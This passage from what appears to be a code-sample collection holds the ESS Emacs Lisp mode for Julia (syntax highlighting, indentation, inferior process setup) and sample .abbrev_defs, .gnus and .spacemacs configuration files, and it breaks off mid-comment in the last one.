    "content": ";; ess-julia.el --- ESS julia mode and inferior interaction\n;;\n;; Copyright (C) 2012 Vitalie Spinu.\n;;\n;; Filename: ess-julia.el\n;; Author: Vitalie Spinu (based on julia-mode.el from julia-lang project)\n;; Maintainer: Vitalie Spinu\n;; Created: 02-04-2012 (ESS 12.03)\n;; Keywords: ESS, julia\n;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;\n;; This file is *NOT* part of GNU Emacs.\n;; This file is part of ESS\n;;\n;; This program is free software; you can redistribute it and/or\n;; modify it under the terms of the GNU General Public License as\n;; published by the Free Software Foundation; either version 3, any later version.\n;;\n;; This program is distributed in the hope that it will be useful, but WITHOUT\n;; ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n;; FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more\n;; details.\n;;\n;; You should have received a copy of the GNU General Public License along with\n;; this program; see the file COPYING.  If not, write to the Free Software\n;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n;; USA.\n;;\n;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;\n;;; Commentary:\n;;  customise inferior-julia-program-name to point to your julia-release-basic\n;;  and start the inferior with M-x julia.\n;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;\n(require 'compile); for compilation-* below\n\n;;; Code:\n\n(defvar julia-mode-hook nil)\n\n(add-to-list 'auto-mode-alist '(\"\\\\.jl\\\\'\" . julia-mode))\n\n(defvar julia-syntax-table\n  (let ((table (make-syntax-table)))\n    (modify-syntax-entry ?_ \"_\" table)   ; underscores in words\n    (modify-syntax-entry ?@ \"_\" table)\n    (modify-syntax-entry ?. \"_\" table)\n    (modify-syntax-entry ?# \"<\" table)   ; #  single-line comment start\n    (modify-syntax-entry ?\\n \">\" table)  ; \\n single-line comment end\n    (modify-syntax-entry ?\\{ \"(} \" table)\n    (modify-syntax-entry ?\\} \"){ \" table)\n    (modify-syntax-entry ?\\[ \"(] \" table)\n    (modify-syntax-entry ?\\] \")[ \" table)\n    (modify-syntax-entry ?\\( \"() \" table)\n    (modify-syntax-entry ?\\) \")( \" table)\n    ;(modify-syntax-entry ?\\\\ \".\" table)  ; \\ is an operator outside quotes\n    (modify-syntax-entry ?'  \".\" table)  ; character quote or transpose\n    (modify-syntax-entry ?\\\" \"\\\"\" table)\n    (modify-syntax-entry ?` \"\\\"\" table)\n    ;; (modify-syntax-entry ?\\\" \".\" table)\n    (modify-syntax-entry ?? \".\" table)\n    (modify-syntax-entry ?$ \".\" table)\n    (modify-syntax-entry ?& \".\" table)\n    (modify-syntax-entry ?* \".\" table)\n    (modify-syntax-entry ?+ \".\" table)\n    (modify-syntax-entry ?- \".\" table)\n    (modify-syntax-entry ?< \".\" table)\n    (modify-syntax-entry ?> \".\" table)\n    (modify-syntax-entry ?= \".\" table)\n    (modify-syntax-entry ?% \".\" table)\n    table)\n  \"Syntax table for julia-mode\")\n\n;; syntax table that holds within strings\n(defvar julia-mode-string-syntax-table\n  (let ((table (make-syntax-table)))\n    table)\n  \"Syntax table for julia-mode\")\n\n;; disable \" inside char quote\n(defvar julia-mode-char-syntax-table\n  (let ((table (make-syntax-table)))\n    (modify-syntax-entry ?\\\" \".\" table)\n    table)\n  \"Syntax table for julia-mode\")\n\n;; not used\n;; (defconst julia-string-regex\n;;   \"\\\"[^\\\"]*?\\\\(\\\\(\\\\\\\\\\\\\\\\\\\\)*\\\\\\\\\\\"[^\\\"]*?\\\\)*\\\"\")\n\n(defconst julia-char-regex\n  \"\\\\(\\\\s(\\\\|\\\\s-\\\\|-\\\\|[,%=<>\\\\+*/?&|$!\\\\^~\\\\\\\\;:]\\\\|^\\\\)\\\\('\\\\(\\\\([^']*?[^\\\\\\\\]\\\\)\\\\|\\\\(\\\\\\\\\\\\\\\\\\\\)\\\\)'\\\\)\")\n\n(defconst julia-unquote-regex\n  \"\\\\(\\\\s(\\\\|\\\\s-\\\\|-\\\\|[,%=<>\\\\+*/?&|!\\\\^~\\\\\\\\;:]\\\\|^\\\\)\\\\($[a-zA-Z0-9_]+\\\\)\")\n\n(defconst julia-forloop-in-regex\n  \"for +[^ \t\r]+ +.*\\\\(in\\\\)\\\\(\\\\s-\\\\|$\\\\)+\")\n\n(defconst ess-subset-regexp\n      \"\\\\[[0-9:, ]*\\\\]\" )\n\n(defconst julia-font-lock-defaults\n  (list '(\"\\\\<\\\\(\\\\|Uint\\\\(8\\\\|16\\\\|32\\\\|64\\\\)\\\\|Int\\\\(8\\\\|16\\\\|32\\\\|64\\\\)\\\\|Integer\\\\|Float\\\\|Float32\\\\|Float64\\\\|Complex128\\\\|Complex64\\\\|ComplexNum\\\\|Bool\\\\|Char\\\\|Number\\\\|Scalar\\\\|Real\\\\|Int\\\\|Uint\\\\|Array\\\\|DArray\\\\|AbstractArray\\\\|AbstractVector\\\\|AbstractMatrix\\\\|SubArray\\\\|StridedArray\\\\|StridedVector\\\\|StridedMatrix\\\\|VecOrMat\\\\|StridedVecOrMat\\\\|Range\\\\|Range1\\\\|SparseMatrixCSC\\\\|Tuple\\\\|NTuple\\\\|Buffer\\\\|Size\\\\|Index\\\\|Symbol\\\\|Function\\\\|Vector\\\\|Matrix\\\\|Union\\\\|Type\\\\|Any\\\\|Complex\\\\|None\\\\|String\\\\|Ptr\\\\|Void\\\\|Exception\\\\|PtrInt\\\\|Long\\\\|Ulong\\\\)\\\\>\" .\n      font-lock-type-face)\n    (cons\n     (concat \"\\\\<\\\\(\"\n         (mapconcat\n          'identity\n          '(\"if\" \"else\" \"elseif\" \"while\" \"for\" \"begin\" \"end\" \"quote\"\n            \"try\" \"catch\" \"return\" \"local\" \"abstract\" \"function\" \"macro\" \"ccall\"\n\t    \"typealias\" \"break\" \"continue\" \"type\" \"global\" \"@\\\\w+\"\n\t    \"module\" \"import\" \"export\" \"const\" \"let\" \"bitstype\" \"using\")\n          \"\\\\|\") \"\\\\)\\\\>\")\n     'font-lock-keyword-face)\n    '(\"\\\\<\\\\(true\\\\|false\\\\|C_NULL\\\\|Inf\\\\|NaN\\\\|Inf32\\\\|NaN32\\\\)\\\\>\" . font-lock-constant-face)\n    (list julia-unquote-regex 2 'font-lock-constant-face)\n    (list julia-char-regex 2 'font-lock-string-face)\n    (list julia-forloop-in-regex 1 'font-lock-keyword-face)\n    ;; (cons ess-subset-regexp 'font-lock-constant-face)\n    (cons \"\\\\(\\\\sw+\\\\) ?(\" '(1 font-lock-function-name-face keep))\n    ;(list julia-string-regex 0 'font-lock-string-face)\n))\n\n(defconst julia-block-start-keywords\n  (list \"if\" \"while\" \"for\" \"begin\" \"try\" \"function\" \"type\" \"let\" \"macro\"\n\t\"quote\"))\n\n(defconst julia-block-other-keywords\n  (list \"else\" \"elseif\"))\n\n(defconst julia-block-end-keywords\n  (list \"end\" \"else\" \"elseif\" \"catch\"))\n\n(defun ess-inside-brackets-p (&optional pos)\n  (save-excursion\n    (let* ((pos (or pos (point)))\n\t   (beg (re-search-backward \"\\\\[\" (max (point-min) (- pos 1000)) t))\n\t   (end (re-search-forward \"\\\\]\" (min (point-max) (+ pos 1000)) t)))\n    (and beg end (> pos beg) (> end pos)))))\n\n(defun julia-at-keyword (kw-list)\n  ; not a keyword if used as a field name, X.word, or quoted, :word\n  (and (or (= (point) 1)\n\t   (and (not (equal (char-before (point)) ?.))\n\t\t(not (equal (char-before (point)) ?:))))\n       (not (ess-inside-string-or-comment-p (point)))\n       (not (ess-inside-brackets-p (point)))\n       (member (current-word) kw-list)))\n\n; get the position of the last open block\n(defun julia-last-open-block-pos (min)\n  (let ((count 0))\n    (while (not (or (> count 0) (<= (point) min)))\n      (backward-word 1)\n      (setq count\n\t    (cond ((julia-at-keyword julia-block-start-keywords)\n\t\t   (+ count 1))\n\t\t  ((and (equal (current-word) \"end\")\n\t\t\t(not (ess-inside-comment-p)) (not (ess-inside-brackets-p)))\n\t\t   (- count 1))\n\t\t  (t count))))\n    (if (> count 0)\n\t(point)\n      nil)))\n\n; get indent for last open block\n(defun julia-last-open-block (min)\n  (let ((pos (julia-last-open-block-pos min)))\n    (and pos\n\t (progn\n\t   (goto-char pos)\n\t   (+ julia-basic-offset (current-indentation))))))\n\n; return indent implied by a special form opening on the previous line, if any\n(defun julia-form-indent ()\n  (forward-line -1)\n  (end-of-line)\n  (backward-sexp)\n  (if (julia-at-keyword julia-block-other-keywords)\n      (+ julia-basic-offset (current-indentation))\n    (if (char-equal (char-after (point)) ?\\()\n        (progn\n          (backward-word 1)\n          (let ((cur (current-indentation)))\n            (if (julia-at-keyword julia-block-start-keywords)\n                (+ julia-basic-offset cur)\n              nil)))\n      nil)))\n\n(defun julia-paren-indent ()\n  (let* ((p (parse-partial-sexp (save-excursion\n\t\t\t\t  ;; only indent by paren if the last open\n\t\t\t\t  ;; paren is closer than the last open\n\t\t\t\t  ;; block\n\t\t\t\t  (or (julia-last-open-block-pos (point-min))\n\t\t\t\t      (point-min)))\n\t\t\t\t(progn (beginning-of-line)\n\t\t\t\t       (point))))\n         (pos (cadr p)))\n    (if (or (= 0 (car p)) (null pos))\n        nil\n      (progn (goto-char pos) (+ 1 (current-column))))))\n\t\t\t\t\t;  (forward-line -1)\n\t\t\t\t\t;  (end-of-line)\n\t\t\t\t\t;  (let ((pos (condition-case nil\n\t\t\t\t\t;                (scan-lists (point) -1 1)\n\t\t\t\t\t;              (error nil))))\n\t\t\t\t\t;   (if pos\n\t\t\t\t\t;       (progn (goto-char pos) (+ 1 (current-column)))\n\t\t\t\t\t;     nil)))\n\n(defun julia-indent-line ()\n  \"Indent current line of julia code\"\n  (interactive)\n\t\t\t\t\t;  (save-excursion\n    (end-of-line)\n    (indent-line-to\n     (or (and (ess-inside-string-p (point-at-bol)) 0)\n\t (save-excursion (ignore-errors (julia-form-indent)))\n         (save-excursion (ignore-errors (julia-paren-indent)))\n         ;; previous line ends in =\n\t (save-excursion\n           (beginning-of-line)\n           (skip-chars-backward \" \\t\\n\")\n           (when (eql (char-before) ?=)\n             (+ julia-basic-offset (current-indentation))))\n         (save-excursion\n           (let ((endtok (progn\n                           (beginning-of-line)\n                           (forward-to-indentation 0)\n                           (julia-at-keyword julia-block-end-keywords))))\n             (ignore-errors (+ (julia-last-open-block (point-min))\n                               (if endtok (- julia-basic-offset) 0)))))\n\t ;; take same indentation as previous line\n\t (save-excursion (forward-line -1)\n\t\t\t (current-indentation))\n         0))\n    (when (julia-at-keyword julia-block-end-keywords)\n      (forward-word 1)))\n\n(defvar julia-editing-alist\n  '((paragraph-start\t\t  . (concat \"\\\\s-*$\\\\|\" page-delimiter))\n    (paragraph-separate\t\t  . (concat \"\\\\s-*$\\\\|\" page-delimiter))\n    (paragraph-ignore-fill-prefix . t)\n    (require-final-newline\t  . t)\n    (comment-start\t\t  . \"# \")\n    (comment-add                  . 1)\n    (comment-start-skip\t\t  . \"#+\\\\s-*\")\n    (comment-column\t\t  . 40)\n    ;;(comment-indent-function\t. 'S-comment-indent)\n    ;;(ess-comment-indent\t    . 'S-comment-indent)\n    ;; (ess-indent-line\t\t\t    . 'S-indent-line)\n    ;;(ess-calculate-indent\t      . 'ess-calculate-indent)\n    (ess-indent-line-function\t  . 'julia-indent-line)\n    (indent-line-function\t  . 'julia-indent-line)\n    (parse-sexp-ignore-comments\t  . t)\n    (ess-style\t\t  \t  . ess-default-style) ;; ignored\n    (ess-local-process-name\t  . nil)\n    ;;(ess-keep-dump-files\t    . 'ask)\n    (ess-mode-syntax-table\t  . julia-syntax-table)\n    ;; For Changelog add, require ' ' before <- : \"attr<-\" is a function name :\n    ;; (add-log-current-defun-header-regexp . \"^\\\\(.+\\\\)\\\\s-+=[ \\t\\n]*function\")\n    (add-log-current-defun-header-regexp . \"^.*function[ \\t]*\\\\([^ \\t(]*\\\\)[ \\t]*(\")\n    (font-lock-defaults\t\t  . '(julia-font-lock-defaults\n                                      nil nil ((?\\_ . \"w\"))))\n    )\n  \"General options for julia source files.\")\n\n(autoload 'inferior-ess \"ess-inf\" \"Run an ESS process.\")\n(autoload 'ess-mode     \"ess-mode\" \"Edit an ESS process.\")\n\n(defun julia-send-string-function (process string visibly)\n  (let ((file (concat temporary-file-directory \"julia_eval_region.jl\")))\n    (with-temp-file file\n      (insert string))\n    (process-send-string process (format ess-load-command file))))\n\n(defun julia-get-help-topics (&optional proc)\n  (ess-get-words-from-vector \"ESS.all_help_topics()\\n\"))\n    ;; (ess-command com)))\n\n(defvar julia-help-command \"help(\\\"%s\\\")\\n\")\n\n(defvar ess-julia-error-regexp-alist '(julia-in julia-at)\n  \"List of symbols which are looked up in `compilation-error-regexp-alist-alist'.\")\n\n(add-to-list 'compilation-error-regexp-alist-alist\n             '(julia-in  \"^\\\\s-*in [^ \\t\\n]* \\\\(at \\\\(.*\\\\):\\\\([0-9]+\\\\)\\\\)\" 2 3 nil 2 1))\n(add-to-list 'compilation-error-regexp-alist-alist\n             '(julia-at \"^\\\\S-+\\\\s-+\\\\(at \\\\(.*\\\\):\\\\([0-9]+\\\\)\\\\)\"  2 3 nil 2 1))\n\n(defvar julia-customize-alist\n  '((comint-use-prompt-regexp\t\t. t)\n    (ess-eldoc-function           . 'ess-julia-eldoc-function)\n    (inferior-ess-primary-prompt\t. \"a> \") ;; from julia>\n    (inferior-ess-secondary-prompt\t. nil)\n    (inferior-ess-prompt\t\t. \"\\\\w*> \")\n    (ess-local-customize-alist\t\t. 'julia-customize-alist)\n    (inferior-ess-program\t\t. inferior-julia-program-name)\n    (inferior-ess-font-lock-defaults\t. julia-font-lock-defaults)\n    (ess-get-help-topics-function\t. 'julia-get-help-topics)\n    (ess-help-web-search-command        . \"http://docs.julialang.org/en/latest/search/?q=%s\")\n    (ess-load-command   \t\t. \"include(\\\"%s\\\")\\n\")\n    (ess-funargs-command                . \"ESS.fun_args(\\\"%s\\\")\\n\")\n    (ess-dump-error-re\t\t\t. \"in \\\\w* at \\\\(.*\\\\):[0-9]+\")\n    (ess-error-regexp\t\t\t. \"\\\\(^\\\\s-*at\\\\s-*\\\\(?3:.*\\\\):\\\\(?2:[0-9]+\\\\)\\\\)\")\n    (ess-error-regexp-alist\t\t. ess-julia-error-regexp-alist)\n    (ess-send-string-function\t\t. nil);'julia-send-string-function)\n    (ess-imenu-generic-expression       . julia-imenu-generic-expression)\n    ;; (inferior-ess-objects-command\t. inferior-R-objects-command)\n    ;; (inferior-ess-search-list-command\t. \"search()\\n\")\n    (inferior-ess-help-command\t\t. julia-help-command)\n    ;; (inferior-ess-help-command\t. \"help(\\\"%s\\\")\\n\")\n    (ess-language\t\t\t. \"julia\")\n    (ess-dialect\t\t\t. \"julia\")\n    (ess-suffix\t\t\t\t. \"jl\")\n    (ess-dump-filename-template\t\t. (ess-replace-regexp-in-string\n\t\t\t\t\t   \"S$\" ess-suffix ; in the one from custom:\n\t\t\t\t\t   ess-dump-filename-template-proto))\n    (ess-mode-syntax-table\t\t. julia-syntax-table)\n    (ess-mode-editing-alist\t        . julia-editing-alist)\n    (ess-change-sp-regexp\t\t. nil );ess-R-change-sp-regexp)\n    (ess-help-sec-regex\t\t\t. ess-help-R-sec-regex)\n    (ess-help-sec-keys-alist\t\t. ess-help-R-sec-keys-alist)\n    (ess-loop-timeout\t\t\t. ess-S-loop-timeout);fixme: dialect spec.\n    (ess-cmd-delay\t\t\t. ess-R-cmd-delay)\n    (ess-function-pattern\t\t. ess-R-function-pattern)\n    (ess-object-name-db-file\t\t. \"ess-r-namedb.el\" )\n    (ess-smart-operators\t\t. ess-R-smart-operators)\n    (inferior-ess-help-filetype        . nil)\n    (inferior-ess-exit-command\t\t. \"exit()\\n\")\n    ;;harmful for shell-mode's C-a: -- but \"necessary\" for ESS-help?\n    (inferior-ess-start-file\t\t. nil) ;; \"~/.ess-R\"\n    (inferior-ess-start-args\t\t. \"\")\n    (inferior-ess-language-start\t. nil)\n    (ess-STERM\t\t. \"iESS\")\n    (ess-editor\t. R-editor)\n    (ess-pager\t\t. R-pager)\n    )\n  \"Variables to customize for Julia -- set up later than emacs initialization.\")\n\n\n(defvar ess-julia-versions '(\"julia\")\n  \"List of partial strings for versions of Julia to access within ESS.\nEach string specifies the start of a filename.  If a filename\nbeginning with one of these strings is found on `exec-path', a M-x\ncommand for that version of Julia is made available.  \")\n\n(defcustom inferior-julia-args \"\"\n  \"String of arguments (see 'julia --help') used when starting julia.\"\n;; These arguments are currently not passed to other versions of julia that have\n;; been created using the variable `ess-r-versions'.\"\n  :group 'ess-julia\n  :type 'string)\n\n;;;###autoload\n(defun julia-mode  (&optional proc-name)\n  \"Major mode for editing julia source.  See `ess-mode' for more help.\"\n  (interactive \"P\")\n  ;; (setq ess-customize-alist julia-customize-alist)\n  (ess-mode julia-customize-alist proc-name)\n  ;; for emacs < 24\n  ;; (add-hook 'comint-dynamic-complete-functions 'ess-complete-object-name nil 'local)\n  ;; for emacs >= 24\n  ;; (remove-hook 'completion-at-point-functions 'ess-filename-completion 'local) ;; should be first\n  ;; (add-hook 'completion-at-point-functions 'ess-object-completion nil 'local)\n  ;; (add-hook 'completion-at-point-functions 'ess-filename-completion nil 'local)\n  (if (fboundp 'ess-add-toolbar) (ess-add-toolbar))\n  (set (make-local-variable 'end-of-defun-function) 'ess-end-of-function)\n  ;; (local-set-key  \"\\t\" 'julia-indent-line) ;; temp workaround\n  ;; (set (make-local-variable 'indent-line-function) 'julia-indent-line)\n  (set (make-local-variable 'julia-basic-offset) 4)\n  (setq imenu-generic-expression julia-imenu-generic-expression)\n  (imenu-add-to-menubar \"Imenu-jl\")\n  (run-hooks 'julia-mode-hook))\n\n\n(defvar ess-julia-post-run-hook nil\n  \"Functions run in process buffer after the initialization of\n  julia process.\")\n\n;;;###autoload\n(defun julia (&optional start-args)\n  \"Call 'julia',\nOptional prefix (C-u) allows to set command line arguments, such as\n--load=<file>.  This should be OS agnostic.\nIf you have certain command line arguments that should always be passed\nto julia, put them in the variable `inferior-julia-args'.\"\n  (interactive \"P\")\n  ;; get settings, notably inferior-julia-program-name :\n  (if (null inferior-julia-program-name)\n      (error \"'inferior-julia-program-name' does not point to 'julia-release-basic' executable\")\n    (setq ess-customize-alist julia-customize-alist)\n    (ess-write-to-dribble-buffer   ;; for debugging only\n     (format\n      \"\\n(julia): ess-dialect=%s, buf=%s, start-arg=%s\\n current-prefix-arg=%s\\n\"\n      ess-dialect (current-buffer) start-args current-prefix-arg))\n    (let* ((jl-start-args\n\t    (concat inferior-julia-args \" \" ; add space just in case\n\t\t    (if start-args\n\t\t\t(read-string\n                         (concat \"Starting Args\"\n                                 (if inferior-julia-args\n                                     (concat \" [other than '\" inferior-julia-args \"']\"))\n                                 \" ? \"))\n\t\t      nil))))\n      (inferior-ess jl-start-args) ;; -> .. (ess-multi ...) -> .. (inferior-ess-mode) ..\n      (ess--tb-start)\n      (set (make-local-variable 'julia-basic-offset) 4)\n      ;; remove ` from julia's logo\n      (goto-char (point-min))\n      (while (re-search-forward \"`\" nil t)\n        (replace-match \"'\"))\n      (goto-char (point-max))\n      (ess--inject-code-from-file (format \"%sess-julia.jl\" ess-etc-directory))\n      (with-ess-process-buffer nil\n        (run-mode-hooks 'ess-julia-post-run-hook))\n      )))\n\n;;; ELDOC\n\n(defun ess-julia-eldoc-function ()\n  \"Return the doc string, or nil.\nIf an ESS process is not associated with the buffer, do not try\nto look up any doc strings.\"\n  (interactive)\n  (when (and (ess-process-live-p)\n             (not (ess-process-get 'busy)))\n    (let ((funname (or (and ess-eldoc-show-on-symbol ;; aggressive completion\n                            (symbol-at-point))\n                       (car (ess--funname.start)))))\n      (when funname\n        (let* ((args (copy-sequence (nth 2 (ess-function-arguments funname))))\n               (W (- (window-width (minibuffer-window)) (+ 4 (length funname))))\n               (doc (concat (propertize funname 'face font-lock-function-name-face) \": \")))\n          (when args\n            (setq args (sort args (lambda (s1 s2)\n                                    (< (length s1) (length s2)))))\n            (setq doc (concat doc (pop args)))\n            (while (and args (< (length doc) W))\n              (setq doc (concat doc \"  \"\n                                (pop args))))\n            (when (and args (< (length doc) W))\n              (setq doc (concat doc \" {--}\"))))\n          doc)))))\n\n\n;;; IMENU\n(defvar julia-imenu-generic-expression\n  ;; don't use syntax classes, screws egrep\n  '((\"Function (_)\" \"[ \\t]*function[ \\t]+\\\\(_[^ \\t\\n]*\\\\)\" 1)\n    (\"Function\" \"[ \\t]*function[ \\t]+\\\\([^_][^\\t\\n]*\\\\)\" 1)\n    (\"Const\" \"[ \\t]*const \\\\([^ \\t\\n]*\\\\)\" 1)\n    (\"Type\"  \"^[ \\t]*[a-zA-Z0-9_]*type[a-zA-Z0-9_]* \\\\([^ \\t\\n]*\\\\)\" 1)\n    (\"Require\"      \" *\\\\(\\\\brequire\\\\)(\\\\([^ \\t\\n)]*\\\\)\" 2)\n    (\"Include\"      \" *\\\\(\\\\binclude\\\\)(\\\\([^ \\t\\n)]*\\\\)\" 2)\n    ;; (\"Classes\" \"^.*setClass(\\\\(.*\\\\),\" 1)\n    ;; (\"Coercions\" \"^.*setAs(\\\\([^,]+,[^,]*\\\\),\" 1) ; show from and to\n    ;; (\"Generics\" \"^.*setGeneric(\\\\([^,]*\\\\),\" 1)\n    ;; (\"Methods\" \"^.*set\\\\(Group\\\\|Replace\\\\)?Method(\\\"\\\\(.+\\\\)\\\",\" 2)\n    ;; ;;[ ]*\\\\(signature=\\\\)?(\\\\(.*,?\\\\)*\\\\),\" 1)\n    ;; ;;\n    ;; ;;(\"Other\" \"^\\\\(.+\\\\)\\\\s-*<-[ \\t\\n]*[^\\\\(function\\\\|read\\\\|.*data\\.frame\\\\)]\" 1)\n    ;; (\"Package\" \"^.*\\\\(library\\\\|require\\\\)(\\\\(.*\\\\),\" 2)\n    ;; (\"Data\" \"^\\\\(.+\\\\)\\\\s-*<-[ \\t\\n]*\\\\(read\\\\|.*data\\.frame\\\\).*(\" 1)))\n    ))\n\n(provide 'ess-julia)\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/.abbrev_defs",
    "content": "(define-abbrev-table 'c-mode-abbrev-table '(\n\t))\n(define-abbrev-table 'fundamental-mode-abbrev-table '(\n\t(\"TM\" \"™\" nil 0)\n\t(\"(R)\" \"®\" nil 0)\n\t(\"C=\" \"€\" nil 0)))\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/.gnus",
    "content": "(setq user-full-name \"Alhadis\")\n(setq user-mail-address \"fake.account@gmail.com\")\n\n(auto-image-file-mode)\n(setq mm-inline-large-images t)\n(add-to-list 'mm-attachment-override-types \"image/*\")\n\n(setq gnus-select-method \n\t  '(nnimap \"gmail\"\n\t\t(nnimap-address \"imap.gmail.com\")\n\t\t(nnimap-server-port 777)\n\t\t(nnimap-stream ssl)))\n\n(setq message-send-mail-function 'smtpmail-send-it\n\t  smtpmail-starttls-credentials '((\"smtp.gmail.com\" 600 nil nil))\n\t  smtpmail-auth-credentials '((\"smtp.gmail.com\" 700 \"me@lisp.com\" nil))\n\t  smtpmail-default-smtp-server \"smtp.gmail.com\"\n\t  smtpmail-smtp-server \"smtp.gmail.com\"\n\t  smtpmail-smtp-service 800\n\t  setq gnus-ignored-from-addresses \"^from\\\\.Telstra[ \\t\\r\\n]+Thanks\")\n"
  },
  {
    "path": "samples/Emacs Lisp/filenames/.spacemacs",
    "content": ";; -*- mode: emacs-lisp -*-\n;; This file is loaded by Spacemacs at startup.\n;; It must be stored in your home directory.\n\n(defun dotspacemacs/layers ()\n  \"Configuration Layers declaration.\"\n  (setq-default\n   ;; List of additional paths where to look for configuration layers.\n   ;; Paths must have a trailing slash (i.e. `~/.mycontribs/')\n   dotspacemacs-configuration-layer-path '()\n   ;; List of configuration layers to load. If it is the symbol `all' instead\n   ;; of a list then all discovered layers will be installed.\n   dotspacemacs-configuration-layers\n   '(\n     ;; ----------------------------------------------------------------\n     ;; Example of useful layers you may want to use right away.\n     ;; Uncomment some layer names and press <SPC f e R> (Vim style) or\n     ;; <M-m f e R> (Emacs style) to install them.\n     ;; ----------------------------------------------------------------\n     emacs-lisp\n     charlock_holmes\n     escape_utils\n     mime-types\n     rugged\n     minitest\n     mocha\n     plist\n     pry\n     rake\n     yajl-ruby\n     colour-proximity\n     licensed\n     licensee\n   ;; List of additional packages that will be installed without being\n   ;; wrapped in a layer. If you need some configuration for these\n   ;; packages then consider to create a layer, you can also put the\n   ;; configuration in `dotspacemacs/config'.\n   dotspacemacs-additional-packages '()\n   ;; A list of packages and/or extensions that will not be install and loaded.\n   dotspacemacs-excluded-packages '()\n   ;; If non-nil spacemacs will delete any orphan packages, i.e. packages that\n   ;; are declared in a layer which is not a member of\n   ;; the list `dotspacemacs-configuration-layers'\n   dotspacemacs-delete-orphan-packages t))\n\n(defun dotspacemacs/init ()\n  \"Initialization function.\nThis function is called at the very startup of Spacemacs initialization\nbefore layers configuration.\"\n  ;; This setq-default sexp is an exhaustive list of all the supported\n  ;; spacemacs settings.\n  (setq-default\n   ;; Either `vim' or `emacs'. Evil is always enabled but if the variable\n   ;; is `emacs' then the `holy-mode' is enabled at startup.\n   dotspacemacs-editing-style 'vim\n   ;; If non nil output loading progress in `*Messages*' buffer.\n   dotspacemacs-verbose-loading nil\n   ;; Specify the startup banner. Default value is `official', it displays\n   ;; the official spacemacs logo. An integer value is the index of text\n   ;; banner, `random' chooses a random text banner in `core/banners'\n   ;; directory. A string value must be a path to an image format supported\n   ;; by your Emacs build.\n   ;; If the value is nil then no banner is displayed.\n   dotspacemacs-startup-banner 'official\n   ;; List of items to show in the startup buffer. If nil it is disabled.\n   ;; Possible values are: `recents' `bookmarks' `projects'.\"\n   dotspacemacs-startup-lists '(bookmarks projects recents)\n   ;; List of themes, the first of the list is loaded when spacemacs starts.\n   ;; Press <SPC> T n to cycle to the next theme in the list (works great\n   ;; with 2 themes variants, one dark and one light)\n   dotspacemacs-themes '(\n                         spacemacs-dark\n                         spacemacs-light\n                         solarized-dark\n                         solarized-light\n                         atom-light-ui\n                         atom-dark-ui\n                         atom-material-ui\n                         zenburn\n   ;; If non nil the cursor colour matches the state colour.\n   dotspacemacs-colorize-cursor-according-to-state t\n   ;; Default font. `powerline-scale' allows to quickly tweak the mode-line\n   ;; size to make separators look not too crappy.\n   dotspacemacs-default-font '(\"Menloco\"\n                               :size 11\n                               :weight normal\n                               :width normal\n                               :powerline-scale 1.1)\n   ;; The leader key\n   dotspacemacs-leader-key \"SPC\"\n   ;; The leader key accessible in `emacs state' and `insert state'\n   dotspacemacs-emacs-leader-key \"M-m\"\n   ;; Major mode leader key is a shortcut key which is the equivalent of\n   ;; pressing `<leader> m`. Set it to `nil` to disable it.\n   dotspacemacs-major-mode-leader-key \",\"\n   ;; Major mode leader key accessible in `emacs state' and `insert state'\n   dotspacemacs-major-mode-emacs-leader-key \"C-M-m\"\n   ;; The command key used for Evil commands (ex-commands) and\n   ;; Emacs commands (M-x).\n   ;; By default the command key is `:' so ex-commands are executed like in Vim\n   ;; with `:' and Emacs commands are executed with `<leader> :'.\n   dotspacemacs-command-key \":\"\n   ;; Location where to auto-save files. Possible values are `original' to\n   ;; auto-save the file in-place, `cache' to auto-save the file to another\n   ;; file stored in the cache directory and `nil' to disable auto-saving.\n   ;; Default value is `cache'.\n   dotspacemacs-auto-save-file-location 'cache\n   ;; If non nil then `ido' replaces `helm' for some commands. For now only\n   ;; `find-files' (SPC f f) is replaced.\n   dotspacemacs-use-ido nil\n   ;; If non nil the paste micro-state is enabled. When enabled pressing `p`\n   ;; several times cycle between the kill ring content.\n   dotspacemacs-enable-paste-micro-state nil\n   ;; Guide-key delay in seconds. The Guide-key is the popup buffer listing\n   ;; the commands bound to the current keystrokes.\n   dotspacemacs-guide-key-delay 0.4\n   ;; If non nil a progress bar is displayed when spacemacs is loading. This\n   ;; may increase the boot time on some systems and emacs builds, set it to\n   ;; nil ;; to boost the loading time.\n   dotspacemacs-loading-progress-bar t\n   ;; If non nil the frame is fullscreen when Emacs starts up.\n   ;; (Emacs 24.4+ only)\n   dotspacemacs-fullscreen-at-startup nil\n   ;; If non nil `spacemacs/toggle-fullscreen' will not use native fullscreen.\n   ;; Use to disable fullscreen animations in OSX.\"\n   dotspacemacs-fullscreen-use-non-native nil\n   ;; If non nil the frame is maximized when Emacs starts up.\n   ;; Takes effect only if `dotspacemacs-fullscreen-at-startup' is nil.\n   ;; (Emacs 24.4+ only)\n   dotspacemacs-maximized-at-startup nil\n   ;; A value from the range (0..100), in increasing opacity, which describes\n   ;; the transparency level of a frame when it's active or selected.\n   ;; Transparency can be toggled through `toggle-transparency'.\n   dotspacemacs-active-transparency 90\n   ;; A value from the range (0..100), in increasing opacity, which describes\n   ;; the transparency level of a frame when it's inactive or deselected.\n   ;; Transparency can be toggled through `toggle-transparency'.\n   dotspacemacs-inactive-transparency 90\n   ;; If non nil unicode symbols are displayed in the mode line.\n   dotspacemacs-mode-line-unicode-symbols t\n   ;; If non nil smooth scrolling (native-scrolling) is enabled. Smooth\n   ;; scrolling overrides the default behavior of Emacs which recenters the\n   ;; point when it reaches the top or bottom of the screen.\n   dotspacemacs-smooth-scrolling t\n   ;; If non-nil smartparens-strict-mode will be enabled in programming modes.\n   dotspacemacs-smartparens-strict-mode nil\n   ;; Select a scope to highlight delimiters. Possible value is `all',\n   ;; `current' or `nil'. Default is `all'\n   dotspacemacs-highlight-delimiters 'all\n   ;; If non nil advises quit functions to keep server open when quitting.\n   dotspacemacs-persistent-server nil\n   ;; List of search tool executable names. Spacemacs 